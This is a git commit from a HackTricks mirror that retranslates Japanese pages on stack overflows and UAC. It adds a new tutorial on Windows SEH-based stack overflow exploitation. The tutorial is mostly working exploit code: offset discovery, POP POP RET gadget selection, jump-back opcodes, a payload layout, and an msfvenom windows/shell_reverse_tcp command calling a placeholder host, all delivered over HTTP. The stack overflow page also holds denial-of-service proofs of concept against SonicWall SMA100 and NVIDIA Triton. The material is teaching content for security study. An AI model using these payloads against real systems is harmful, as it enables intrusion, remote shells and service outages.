mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/windows-hardening/authentication-credentials-uac-and-ef
This commit is contained in:
Translator
parent
064082515a
commit
c7cfaa34b7
@ -779,6 +779,7 @@
|
||||
- [SROP - Sigreturn-Oriented Programming](binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md)
|
||||
- [SROP - ARM64](binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/srop-arm64.md)
|
||||
- [Synology Encrypted Archive Decryption](hardware-physical-access/firmware-analysis/synology-encrypted-archive-decryption.md)
|
||||
- [Windows Seh Overflow](binary-exploitation/stack-overflow/windows-seh-overflow.md)
|
||||
- [Array Indexing](binary-exploitation/array-indexing.md)
|
||||
- [Chrome Exploiting](binary-exploitation/chrome-exploiting.md)
|
||||
- [Integer Overflow](binary-exploitation/integer-overflow.md)
|
||||
|
||||
@ -2,17 +2,17 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## What is a Stack Overflow
|
||||
## Stack Overflowとは
|
||||
|
||||
**スタックオーバーフロー**は、プログラムがスタックに割り当てられたよりも多くのデータを書き込むときに発生する脆弱性です。この余分なデータは**隣接するメモリ空間を上書き**し、正当なデータの破損、制御フローの混乱、そして潜在的には悪意のあるコードの実行を引き起こします。この問題は、入力に対して境界チェックを行わない安全でない関数の使用によってしばしば発生します。
|
||||
A **stack overflow** is a vulnerability that occurs when a program writes more data to the stack than it is allocated to hold. This excess data will **隣接するメモリ領域を上書き**し、有効なデータの破損、制御フローの破壊、そして場合によっては悪意あるコードの実行につながる可能性があります。 この問題は、入力に対して境界チェックを行わない安全でない関数の使用により発生することがよくあります。
|
||||
|
||||
この上書きの主な問題は、**保存された命令ポインタ (EIP/RIP)** と**保存されたベースポインタ (EBP/RBP)** が前の関数に戻るために**スタックに保存されている**ことです。したがって、攻撃者はそれらを上書きし、**プログラムの実行フローを制御**できるようになります。
|
||||
この上書きの主な問題は、前の関数に戻るための **saved instruction pointer (EIP/RIP)** や **saved base pointer (EBP/RBP)** が **stack 上に保存されている**ことです。したがって、攻撃者はそれらを上書きして **プログラムの実行フローを制御**できるようになります。
|
||||
|
||||
この脆弱性は通常、関数が**スタックに割り当てられたバイト数よりも多くのバイトをコピーする**ために発生し、他のスタックの部分を上書きできるようになります。
|
||||
この脆弱性は通常、関数が **stack 内に割り当てられた量より多くのバイトをコピーしてしまう** ことにより発生し、結果として stack の他の部分を上書きできてしまいます。
|
||||
|
||||
この脆弱性に対して一般的な関数には、**`strcpy`, `strcat`, `sprintf`, `gets`**などがあります。また、**`fgets`**、**`read` & `memcpy`**のように**長さ引数**を取る関数も、指定された長さが割り当てられたものより大きい場合に脆弱な方法で使用される可能性があります。
|
||||
この脆弱性の原因になりやすい一般的な関数には **`strcpy`, `strcat`, `sprintf`, `gets`** などがあります。 また、**`fgets`**, **`read` & `memcpy`** のように **長さ引数（length argument）** を取る関数も、指定された長さが割り当てより大きいと脆弱な使い方になる可能性があります。
|
||||
|
||||
例えば、以下の関数は脆弱である可能性があります：
|
||||
例えば、次の関数は脆弱である可能性があります:
|
||||
```c
|
||||
void vulnerable() {
|
||||
char buffer[128];
|
||||
@ -21,15 +21,15 @@ gets(buffer); // This is where the vulnerability lies
|
||||
printf("You entered: %s\n", buffer);
|
||||
}
|
||||
```
|
||||
### スタックオーバーフローのオフセットを見つける
|
||||
### Finding Stack Overflows offsets
|
||||
|
||||
スタックオーバーフローを見つける最も一般的な方法は、非常に大きな入力の `A`s を与えることです（例: `python3 -c 'print("A"*1000)'`）そして、**アドレス `0x41414141` にアクセスしようとしたことを示す `Segmentation Fault` を期待します**。
|
||||
Stack overflowを見つける最も一般的な方法は、非常に大きな`A`の入力を与えること（例: `python3 -c 'print("A"*1000)'`）で、`Segmentation Fault`が発生し、**アドレス `0x41414141` にアクセスしようとした**ことが示されることを期待することです。
|
||||
|
||||
さらに、スタックオーバーフローの脆弱性があることがわかったら、**リターンアドレスを上書きするために必要なオフセットを見つける必要があります**。これには通常、**De Bruijn シーケンス**が使用されます。これは、サイズ _k_ のアルファベットと長さ _n_ の部分列に対して、**長さ _n_ のすべての可能な部分列がちょうど一度だけ連続した部分列として現れる循環シーケンス**です。
|
||||
さらに、Stack Overflowの脆弱性があるとわかったら、リターンアドレスを**上書きできるようになるまでのオフセット**を見つける必要があります。これには通常**De Bruijn sequence**が使われます。これは、アルファベットのサイズが_k_で部分列の長さが_n_の場合、**長さ_n_のあらゆる部分列がちょうど一度ずつ連続した部分列として現れる循環列**です。
|
||||
|
||||
この方法により、手動で EIP を制御するために必要なオフセットを特定する代わりに、これらのシーケンスの1つをパディングとして使用し、上書きされたバイトのオフセットを見つけることが可能です。
|
||||
この方法を使えば、どのオフセットが手作業でEIPを制御するために必要かを突き止める代わりに、これらのシーケンスの一つをパディングとして使い、それを上書きしたバイトのオフセットを特定できます。
|
||||
|
||||
これには **pwntools** を使用することができます:
|
||||
これには**pwntools**を使うことができます:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
@ -48,82 +48,97 @@ pattern create 200 #Generate length 200 pattern
|
||||
pattern search "avaaawaa" #Search for the offset of that substring
|
||||
pattern search $rsp #Search the offset given the content of $rsp
|
||||
```
|
||||
## スタックオーバーフローの悪用
|
||||
## Stack Overflows の悪用
|
||||
|
||||
オーバーフロー中（オーバーフローサイズが十分大きいと仮定すると）、スタック内のローカル変数の値を**上書き**することができ、保存された**EBP/RBPおよびEIP/RIP（またはそれ以上）**に達することができます。\
|
||||
この種の脆弱性を悪用する最も一般的な方法は、**戻りアドレスを変更する**ことで、関数が終了すると**制御フローがユーザーが指定したポインタの場所にリダイレクトされる**ことです。
|
||||
オーバーフローが発生した場合（サイズが十分大きいと仮定すると）、スタック内のローカル変数の値を**上書き**して保存された **EBP/RBP and EIP/RIP (or even more)** に到達するまで可能です。\
|
||||
この種の脆弱性を悪用する最も一般的な方法は、**リターンアドレスを変更すること**で、関数が終了したときに **コントロールフローがこのポインタでユーザが指定した場所へリダイレクトされる** ようにすることです。
|
||||
|
||||
しかし、別のシナリオではスタック上のいくつかの変数の値を**上書きするだけで**エクスプロイトが成立する場合もあります（簡単な CTF チャレンジなど）。
|
||||
|
||||
しかし、他のシナリオでは、スタック内の**いくつかの変数の値を上書きする**だけで悪用が可能な場合もあります（簡単なCTFチャレンジのように）。
|
||||
|
||||
### Ret2win
|
||||
|
||||
この種のCTFチャレンジでは、バイナリ内に**決して呼び出されない****関数**があり、**勝つためにはその関数を呼び出す必要があります**。これらのチャレンジでは、**戻りアドレスを上書きするオフセットを見つけ**、呼び出す**関数のアドレスを見つける**だけで済みます（通常、[**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html)は無効になります）ので、脆弱な関数が戻ると、隠れた関数が呼び出されます：
|
||||
この種の CTF チャレンジでは、バイナリ内部に**決して呼ばれない関数**が存在し、それを呼び出すことで勝利できるようになっています。これらのチャレンジでは、**リターンアドレスを上書きするためのオフセット**と呼び出す**関数のアドレス**を見つければ十分です（通常 [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) は無効になっていることが多い）。脆弱な関数がリターンすると、隠された関数が呼び出されます：
|
||||
|
||||
|
||||
{{#ref}}
|
||||
ret2win/
|
||||
{{#endref}}
|
||||
|
||||
### スタックシェルコード
|
||||
### Stack Shellcode
|
||||
|
||||
このシナリオでは、攻撃者はスタックに shellcode を置き、制御された EIP/RIP を利用して shellcode にジャンプし任意のコードを実行できます：
|
||||
|
||||
このシナリオでは、攻撃者はスタックにシェルコードを配置し、制御されたEIP/RIPを悪用してシェルコードにジャンプし、任意のコードを実行することができます：
|
||||
|
||||
{{#ref}}
|
||||
stack-shellcode/
|
||||
{{#endref}}
|
||||
|
||||
### ROP & Ret2... テクニック
|
||||
### Windows SEH-based exploitation (nSEH/SEH)
|
||||
|
||||
32-bit Windows では、オーバーフローが保存されたリターンアドレスの代わりに Structured Exception Handler (SEH) チェーンを上書きすることがあります。エクスプロイトでは通常、SEH ポインタを POP POP RET ガジェットに置き換え、4 バイトの nSEH フィールドを短いジャンプに使って shellcode がある大きなバッファへピボットします。一般的なパターンとしては、nSEH の短い jmp が nSEH の直前に置かれた 5 バイトの near jmp に着地し、ペイロードの開始位置へ数百バイト戻る、というものです。
|
||||
|
||||
|
||||
{{#ref}}
|
||||
windows-seh-overflow.md
|
||||
{{#endref}}
|
||||
|
||||
### ROP & Ret2... techniques
|
||||
|
||||
この手法は前述の保護、すなわち **No executable stack (NX)** を回避するための基本的なフレームワークです。また、既存の命令を悪用して任意コマンドを実行する ret2lib や ret2syscall といった他の手法を実行することも可能にします：
|
||||
|
||||
このテクニックは、前述のテクニックの主要な保護を回避するための基本的なフレームワークです：**実行可能なスタックなし（NX）**。これにより、バイナリ内の既存の命令を悪用して任意のコマンドを実行する他のいくつかのテクニック（ret2lib、ret2syscallなど）を実行することが可能になります：
|
||||
|
||||
{{#ref}}
|
||||
../rop-return-oriented-programing/
|
||||
{{#endref}}
|
||||
|
||||
## ヒープオーバーフロー
|
||||
## Heap Overflows
|
||||
|
||||
オーバーフローは必ずしもスタックに発生するとは限らず、例えば **heap** に発生することもあります：
|
||||
|
||||
オーバーフローは常にスタック内で発生するわけではなく、例えば**ヒープ**内で発生することもあります：
|
||||
|
||||
{{#ref}}
|
||||
../libc-heap/heap-overflow.md
|
||||
{{#endref}}
|
||||
|
||||
## 保護の種類
|
||||
## Types of protections
|
||||
|
||||
脆弱性の悪用を防ぐためのいくつかの保護機構が存在します。詳細は以下を確認してください：
|
||||
|
||||
脆弱性の悪用を防ぐためのいくつかの保護があります。詳細は以下を確認してください：
|
||||
|
||||
{{#ref}}
|
||||
../common-binary-protections-and-bypasses/
|
||||
{{#endref}}
|
||||
|
||||
### 実世界の例: CVE-2025-40596 (SonicWall SMA100)
|
||||
### Real-World Example: CVE-2025-40596 (SonicWall SMA100)
|
||||
|
||||
**`sscanf`が信頼できない入力の解析に決して使用されるべきではない理由**の良いデモが、2025年にSonicWallのSMA100 SSL-VPNアプライアンスで発生しました。\
|
||||
`/usr/src/EasyAccess/bin/httpd`内の脆弱なルーチンは、`/__api__/`で始まる任意のURIからバージョンとエンドポイントを抽出しようとします。
|
||||
なぜ **`sscanf` を信頼して未検証の入力を解析してはならないか** の良い実例が、2025 年に SonicWall の SMA100 SSL-VPN アプライアンスで発生しました。`/usr/src/EasyAccess/bin/httpd` 内の脆弱なルーチンは、`/__api__/` で始まる URI からバージョンとエンドポイントを抽出しようとします：
|
||||
```c
|
||||
char version[3];
|
||||
char endpoint[0x800] = {0};
|
||||
/* simplified proto-type */
|
||||
sscanf(uri, "%*[^/]/%2s/%s", version, endpoint);
|
||||
```
|
||||
1. 最初の変換（`%2s`）は、`version`に**2**バイトを安全に格納します（例：`"v1"`）。
|
||||
2. 2番目の変換（`%s`）は**長さ指定子がありません**。したがって、`sscanf`は**最初のNULバイト**までコピーし続けます。
|
||||
3. `endpoint`は**スタック**上にあり、**0x800バイトの長さ**があるため、0x800バイトより長いパスを提供すると、バッファの後にあるすべてのものが破損します ‑ **スタックカナリア**や**保存された戻りアドレス**を含みます。
|
||||
1. 最初の変換 (`%2s`) は `version` に安全に **2** バイトを格納します（例: `"v1"`）。
|
||||
2. 2番目の変換 (`%s`) は **長さ指定子がありません**。したがって `sscanf` は **最初の NUL バイトまで** コピーし続けます。
|
||||
3. `endpoint` が **stack** 上にあり、サイズが **0x800 bytes long** であるため、長さが 0x800 バイトを超えるパスを与えると、バッファの後にあるすべて（**stack canary** や **saved return address** を含む）が破損します。
|
||||
|
||||
認証**前に**クラッシュを引き起こすには、1行の概念実証で十分です：
|
||||
単一行の proof-of-concept で、**認証前** にクラッシュを引き起こすのに十分です：
|
||||
```python
|
||||
import requests, warnings
|
||||
warnings.filterwarnings('ignore')
|
||||
url = "https://TARGET/__api__/v1/" + "A"*3000
|
||||
requests.get(url, verify=False)
|
||||
```
|
||||
スタックカナリアがプロセスを中止させるにもかかわらず、攻撃者は依然として**サービス拒否**のプリミティブを得る（さらに情報漏洩があれば、コード実行も可能）。教訓はシンプルです：
|
||||
Even though stack canaries abort the process, an attacker still gains a **Denial-of-Service** primitive (and, with additional information leaks, possibly code-execution). The lesson is simple:
|
||||
|
||||
* 常に**最大フィールド幅**を指定する（例：`%511s`）。
|
||||
* `snprintf`/`strncpy_s`のような安全な代替手段を好む。
|
||||
* Always provide a **maximum field width** (e.g. `%511s`).
|
||||
* Prefer safer alternatives such as `snprintf`/`strncpy_s`.
|
||||
|
||||
### 実世界の例：CVE-2025-23310 & CVE-2025-23311 (NVIDIA Triton Inference Server)
|
||||
### Real-World Example: CVE-2025-23310 & CVE-2025-23311 (NVIDIA Triton Inference Server)
|
||||
|
||||
NVIDIAのTriton Inference Server (≤ v25.06) には、HTTP APIを通じて到達可能な複数の**スタックベースのオーバーフロー**が含まれていました。脆弱なパターンは`http_server.cc`と`sagemaker_server.cc`に繰り返し現れました：
|
||||
NVIDIA’s Triton Inference Server (≤ v25.06) contained multiple **stack-based overflows** reachable through its HTTP API.
|
||||
The vulnerable pattern repeatedly appeared in `http_server.cc` and `sagemaker_server.cc`:
|
||||
```c
|
||||
int n = evbuffer_peek(req->buffer_in, -1, NULL, NULL, 0);
|
||||
if (n > 0) {
|
||||
@ -133,11 +148,11 @@ alloca(sizeof(struct evbuffer_iovec) * n);
|
||||
...
|
||||
}
|
||||
```
|
||||
1. `evbuffer_peek` (libevent) は、現在の HTTP リクエストボディを構成する **内部バッファセグメントの数** を返します。
|
||||
2. 各セグメントは、**上限なし**で `alloca()` を介して **スタック** に **16バイト** の `evbuffer_iovec` を割り当てます。
|
||||
3. **HTTP _チャンク転送エンコーディング_** を悪用することで、クライアントはリクエストを **数十万の6バイトチャンク** (`"1\r\nA\r\n"`) に分割させることができます。これにより、`n` はスタックが枯渇するまで無制限に成長します。
|
||||
1. `evbuffer_peek` (libevent) は現在の HTTP リクエストボディを構成する内部バッファセグメントの**数**を返します。
|
||||
2. 各セグメントは `alloca()` を介して**stack**上に**16-byte**の`evbuffer_iovec`を割り当てさせます — **上限がありません**。
|
||||
3. クライアントが**HTTP _chunked transfer-encoding_**を悪用すると、リクエストを**何十万もの6-byteチャンク**（`"1\r\nA\r\n"`）に分割させることができます。これにより、`n` は **stack** が枯渇するまで無制限に増加します。
|
||||
|
||||
#### Proof-of-Concept (DoS)
|
||||
#### 概念実証 (DoS)
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
import socket, sys
|
||||
@ -161,10 +176,10 @@ s.close()
|
||||
if __name__ == "__main__":
|
||||
exploit(*sys.argv[1:])
|
||||
```
|
||||
約3 MBのリクエストで、保存されたリターンアドレスを上書きし、デフォルトビルドでデーモンを**クラッシュ**させるのに十分です。
|
||||
約3 MBのリクエストで、保存された戻りアドレスを書き換え、デフォルトビルドのデーモンを**crash**させるのに十分です。
|
||||
|
||||
#### パッチと緩和策
|
||||
25.07リリースでは、安全でないスタック割り当てを**ヒープバックの`std::vector`**に置き換え、`std::bad_alloc`を優雅に処理します：
|
||||
25.07リリースでは、安全でないスタック割り当てを**heap-backed `std::vector`**に置き換え、`std::bad_alloc`を適切に処理します:
|
||||
```c++
|
||||
std::vector<evbuffer_iovec> v_vec;
|
||||
try {
|
||||
@ -175,12 +190,13 @@ return TRITONSERVER_ErrorNew(TRITONSERVER_ERROR_INVALID_ARG, "alloc failed");
|
||||
struct evbuffer_iovec *v = v_vec.data();
|
||||
```
|
||||
教訓:
|
||||
* 攻撃者が制御するサイズで `alloca()` を呼び出さないこと。
|
||||
* チャンク化されたリクエストは、サーバー側のバッファの形状を大きく変える可能性がある。
|
||||
* メモリ割り当てに使用する前に、クライアント入力から派生した値を検証/制限すること。
|
||||
* 攻撃者が制御するサイズで `alloca()` を呼び出してはいけない。
|
||||
* Chunked requests はサーバー側のバッファの形状を大きく変える可能性がある。
|
||||
* クライアント入力から派生した値は、メモリ割り当てで使用する*前に*検証 / 上限設定を行うこと。
|
||||
|
||||
## 参考文献
|
||||
## 参考
|
||||
* [watchTowr Labs – Stack Overflows, Heap Overflows and Existential Dread (SonicWall SMA100)](https://labs.watchtowr.com/stack-overflows-heap-overflows-and-existential-dread-sonicwall-sma100-cve-2025-40596-cve-2025-40597-and-cve-2025-40598/)
|
||||
* [Trail of Bits – Uncovering memory corruption in NVIDIA Triton](https://blog.trailofbits.com/2025/08/04/uncovering-memory-corruption-in-nvidia-triton-as-a-new-hire/)
|
||||
* [HTB: Rainbow – SEH overflow to RCE over HTTP (0xdf)](https://0xdf.gitlab.io/2025/08/07/htb-rainbow.html)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
150
src/binary-exploitation/stack-overflow/windows-seh-overflow.md
Normal file
150
src/binary-exploitation/stack-overflow/windows-seh-overflow.md
Normal file
@ -0,0 +1,150 @@
|
||||
# Windows SEH-based Stack Overflow Exploitation (nSEH/SEH)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
SEH-based exploitation は、スタック上に格納された Structured Exception Handler チェーンを悪用する古典的な x86 Windows の手法です。スタックバッファオーバーフローが次の2つの4バイトフィールドを上書きすると、
|
||||
|
||||
- nSEH: 次の SEH レコードへのポインタ、そして
|
||||
- SEH: 例外ハンドラ関数へのポインタ
|
||||
|
||||
攻撃者は次の方法で実行制御を奪取できます:
|
||||
|
||||
1) SEH を保護されていないモジュール内の POP POP RET ガジェットのアドレスに設定し、例外がディスパッチされるとそのガジェットが攻撃者制御下のバイト列にリターンするようにする、および
|
||||
2) nSEH を使って実行を（通常は短いジャンプで）シェルコードが存在する大きなオーバーフローしたバッファへ戻す。
|
||||
|
||||
この手法は 32-bit プロセス（x86）に特有です。現代のシステムでは、ガジェット用に SafeSEH と ASLR の無いモジュールを選ぶと良いです。C-strings や HTTP パースの影響で、0x00、0x0a、0x0d（NUL/CR/LF）などがしばしば使用不可の文字になります。
|
||||
|
||||
---
|
||||
|
||||
## Finding exact offsets (nSEH / SEH)
|
||||
|
||||
- プロセスをクラッシュさせて SEH チェーンが上書きされていることを確認する（例: x32dbg/x64dbg では SEH view を確認）。
|
||||
- オーバーフローさせるデータとして cyclic pattern を送り、nSEH と SEH に入る2つの dword のオフセットを算出する。
|
||||
|
||||
Example with peda/GEF/pwntools on a 1000-byte POST body:
|
||||
```bash
|
||||
# generate pattern (any tool is fine)
|
||||
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1000
|
||||
# or
|
||||
python3 -c "from pwn import *; print(cyclic(1000).decode())"
|
||||
|
||||
# after crash, note the two 32-bit values from SEH view and compute offsets
|
||||
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 1000 -q 0x32424163 # nSEH
|
||||
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 1000 -q 0x41484241 # SEH
|
||||
# ➜ offsets example: nSEH=660, SEH=664
|
||||
```
|
||||
その位置にマーカーを置いて検証する（例: nSEH=b"BB", SEH=b"CC"）。クラッシュを再現可能にするために合計長は一定に保つ。
|
||||
|
||||
---
|
||||
|
||||
## POP POP RET (SEH gadget) を選ぶ
|
||||
|
||||
SEHフレームを解除して nSEH バイトに戻すために POP POP RET シーケンスが必要。SafeSEH が無く、理想的には ASLR も無いモジュールで探す:
|
||||
|
||||
- Mona (Immunity/WinDbg): `!mona modules` then `!mona seh -m modulename`.
|
||||
- x64dbg plugin ERC.Xdbg: `ERC --SEH` to list POP POP RET gadgets and SafeSEH status.
|
||||
|
||||
リトルエンディアンで書き込んだときに badchars を含まないアドレスを選ぶ（例: `p32(0x004094D8)`）。保護が許すなら脆弱なバイナリ内の gadget を優先する。
|
||||
|
||||
---
|
||||
|
||||
## Jump-back technique (short + near jmp)
|
||||
|
||||
nSEH は 4 バイトしかないため、最大で 2 バイトの short jump（`EB xx`）とパディングしか入らない。バッファ先頭に到達するために何百バイトも戻る必要がある場合は、nSEH の直前に 5 バイトの near jump を置き、nSEH からの short jump でそれにチェーンする。
|
||||
|
||||
With nasmshell:
|
||||
```text
|
||||
nasm> jmp -660 ; too far for short; near jmp is 5 bytes
|
||||
E967FDFFFF
|
||||
nasm> jmp short -8 ; 2-byte short jmp fits in nSEH (with 2 bytes padding)
|
||||
EBF6
|
||||
nasm> jmp -652 ; 8 bytes closer (to account for short-jmp hop)
|
||||
E96FFDFFFF
|
||||
```
|
||||
nSEH が offset 660 にある1000-byte payload のレイアウト案:
|
||||
```python
|
||||
buffer_length = 1000
|
||||
payload = b"\x90"*50 + shellcode # NOP sled + shellcode at buffer start
|
||||
payload += b"A" * (660 - 8 - len(payload)) # pad so we are 8 bytes before nSEH
|
||||
payload += b"\xE9\x6F\xFD\xFF\xFF" + b"EEE" # near jmp -652 (5B) + 3B padding
|
||||
payload += b"\xEB\xF6" + b"BB" # nSEH: short jmp -8 + 2B pad
|
||||
payload += p32(0x004094D8) # SEH: POP POP RET (no badchars)
|
||||
payload += b"D" * (buffer_length - len(payload))
|
||||
```
|
||||
実行フロー:
|
||||
- 例外が発生し、ディスパッチャーは上書きされた SEH を使用する。
|
||||
- POP POP RET がスタックを巻き戻し、我々の nSEH に到達する。
|
||||
- nSEH は `jmp short -8`（5バイトの near ジャンプ）を実行する。
|
||||
- Near ジャンプはバッファの先頭に着地し、そこには NOP sled + shellcode が存在する。
|
||||
|
||||
---
|
||||
|
||||
## 無効なバイト (badchars)
|
||||
|
||||
完全な badchar 文字列を作成し、クラッシュ後のスタックメモリを比較して、ターゲットのパーサによって破損するバイトを除外する。HTTPベースのオーバーフローでは、`\x00\x0a\x0d` はほとんど常に除外される。
|
||||
```python
|
||||
badchars = bytes([x for x in range(1,256)])
|
||||
payload = b"A"*660 + b"BBBB" + b"CCCC" + badchars # position appropriately for your case
|
||||
```
|
||||
---
|
||||
|
||||
## Shellcode generation (x86)
|
||||
|
||||
msfvenomをbadcharsとともに使用してください。小さなNOP sledは着弾位置のばらつきを吸収します。
|
||||
```bash
|
||||
msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> \
|
||||
-b "\x00\x0a\x0d" -f python -v sc
|
||||
```
|
||||
オンザフライで生成する場合、hex形式はPythonに埋め込んでunhexするのに便利です:
|
||||
```bash
|
||||
msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> \
|
||||
-b "\x00\x0a\x0d" -f hex
|
||||
```
|
||||
---
|
||||
|
||||
## HTTPでの配信 (正確な CRLF + Content-Length)
|
||||
|
||||
脆弱なベクトルがHTTPリクエストボディである場合、正確なCRLFsとContent-Lengthを指定した生のリクエストを作成し、サーバがオーバーフローしたボディ全体を読み取るようにする。
|
||||
```python
|
||||
# pip install pwntools
|
||||
from pwn import remote
|
||||
host, port = "<TARGET_IP>", 8080
|
||||
body = b"A" * 1000 # replace with the SEH-aware buffer above
|
||||
req = f"""POST / HTTP/1.1
|
||||
Host: {host}:{port}
|
||||
User-Agent: curl/8.5.0
|
||||
Accept: */*
|
||||
Content-Length: {len(body)}
|
||||
Connection: close
|
||||
|
||||
""".replace('\n','\r\n').encode() + body
|
||||
p = remote(host, port)
|
||||
p.send(req)
|
||||
print(p.recvall(timeout=0.5))
|
||||
p.close()
|
||||
```
|
||||
---
|
||||
|
||||
## ツール
|
||||
|
||||
- x32dbg/x64dbg — SEHチェーンを観察しクラッシュをトリアージするため。
|
||||
- ERC.Xdbg (x64dbg plugin) — SEHガジェットを列挙する: `ERC --SEH`.
|
||||
- Mona — 代替として: `!mona modules`, `!mona seh`.
|
||||
- nasmshell — 短い／近距離ジャンプをアセンブルし生のオペコードをコピーするため。
|
||||
- pwntools — 正確なネットワークペイロードを作成するため。
|
||||
|
||||
---
|
||||
|
||||
## 注意と留意事項
|
||||
|
||||
- x86プロセスにのみ適用されます。x64は別のSEHスキームを使用しており、SEHベースのエクスプロイトは一般的に実用的ではありません。
|
||||
- SafeSEHとASLRのないモジュール内のガジェットを優先してください; さもなければ、プロセスにロードされている保護されていないモジュールを見つけてください。
|
||||
- クラッシュ時に自動で再起動するサービスのウォッチドッグは、反復的なエクスプロイト開発を容易にすることがあります。
|
||||
|
||||
## References
|
||||
- [HTB: Rainbow – SEH overflow to RCE over HTTP (0xdf)](https://0xdf.gitlab.io/2025/08/07/htb-rainbow.html)
|
||||
- [ERC.Xdbg – Exploit Research Plugin for x64dbg (SEH search)](https://github.com/Andy53/ERC.Xdbg)
|
||||
- [Corelan – Exploit writing tutorial part 7 (SEH)](https://www.corelan.be/index.php/2009/07/19/exploit-writing-tutorial-part-7-unicode-0day-buffer-overflow-seh-and-venetian-shellcode/)
|
||||
- [Mona.py – WinDbg/Immunity helper](https://github.com/corelan/mona)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
@ -1,121 +1,121 @@
|
||||
# UAC - ユーザーアカウント制御
|
||||
# UAC - User Account Control
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## UAC
|
||||
|
||||
[ユーザーアカウント制御 (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) は、**昇格された活動のための同意プロンプト**を有効にする機能です。アプリケーションには異なる `integrity` レベルがあり、**高いレベル**のプログラムは、**システムを危険にさらす可能性のあるタスク**を実行できます。UACが有効になっている場合、アプリケーションやタスクは常に**非管理者アカウントのセキュリティコンテキストの下で実行され**、管理者が明示的にこれらのアプリケーション/タスクにシステムへの管理者レベルのアクセスを許可しない限り、実行されません。これは、管理者が意図しない変更から保護される便利な機能ですが、セキュリティ境界とは見なされません。
|
||||
[User Account Control (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) は、**昇格が必要な操作に対して同意プロンプトを表示する**機能です。アプリケーションは異なる `integrity` レベルを持ち、**high level** のプログラムは**システムを損なう可能性のある**操作を実行できます。UAC が有効な場合、管理者が明示的にアプリケーション／タスクに管理者レベルのアクセスを許可して実行させない限り、アプリケーションやタスクは常に**非管理者アカウントのセキュリティコンテキストで実行されます**。これは管理者を意図しない変更から守るための利便性機能ですが、セキュリティ境界とは見なされません。
|
||||
|
||||
インテグリティレベルに関する詳細情報は以下を参照してください：
|
||||
integrity レベルの詳細については：
|
||||
|
||||
{{#ref}}
|
||||
../windows-local-privilege-escalation/integrity-levels.md
|
||||
{{#endref}}
|
||||
|
||||
UACが有効な場合、管理者ユーザーには2つのトークンが与えられます：通常のアクションを通常レベルで実行するための標準ユーザーキーと、管理者権限を持つものです。
|
||||
UAC が有効な場合、管理者ユーザーには 2 つのトークンが付与されます：通常の操作を行うための標準ユーザー用トークンと、管理者権限を持つトークンです。
|
||||
|
||||
この[ページ](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works)では、UACの動作について詳細に説明しており、ログオンプロセス、ユーザーエクスペリエンス、UACアーキテクチャが含まれています。管理者は、セキュリティポリシーを使用して、ローカルレベルで自組織に特有のUACの動作を構成することができ（secpol.mscを使用）、またはActive Directoryドメイン環境でグループポリシーオブジェクト（GPO）を介して構成して展開することができます。さまざまな設定については、[こちら](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-security-policy-settings)で詳しく説明されています。UACに設定できるグループポリシー設定は10個あります。以下の表は追加の詳細を提供します：
|
||||
この [page](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) ではログオンプロセス、ユーザー体験、UAC アーキテクチャを含め、UAC の動作について詳しく説明されています。管理者はセキュリティポリシーを使用してローカルレベルで UAC の動作を組織向けに構成できます（secpol.msc を使用）、または Active Directory ドメイン環境では Group Policy Objects (GPO) 経由で配布・適用できます。各設定の詳細は [here](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-security-policy-settings) に記載されています。UAC に設定できる Group Policy は 10 個あります。以下の表は追加の詳細を示します：
|
||||
|
||||
| グループポリシー設定 | レジストリキー | デフォルト設定 |
|
||||
| Group Policy Setting | Registry Key | Default Setting |
|
||||
| ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | --------------------------- | ------------------------------------------------------------ |
|
||||
| [ユーザーアカウント制御：組み込みの管理者アカウントの管理者承認モード](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-admin-approval-mode-for-the-built-in-administrator-account) | FilterAdministratorToken | 無効 |
|
||||
| [ユーザーアカウント制御：UIAccessアプリケーションがセキュアデスクトップを使用せずに昇格を要求できるようにする](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-allow-uiaccess-applications-to-prompt-for-elevation-without-using-the-secure-desktop) | EnableUIADesktopToggle | 無効 |
|
||||
| [ユーザーアカウント制御：管理者の管理者承認モードにおける昇格プロンプトの動作](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-administrators-in-admin-approval-mode) | ConsentPromptBehaviorAdmin | 非Windowsバイナリに対して同意を求めるプロンプト |
|
||||
| [ユーザーアカウント制御：標準ユーザーの昇格プロンプトの動作](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-standard-users) | ConsentPromptBehaviorUser | セキュアデスクトップでの資格情報を求めるプロンプト |
|
||||
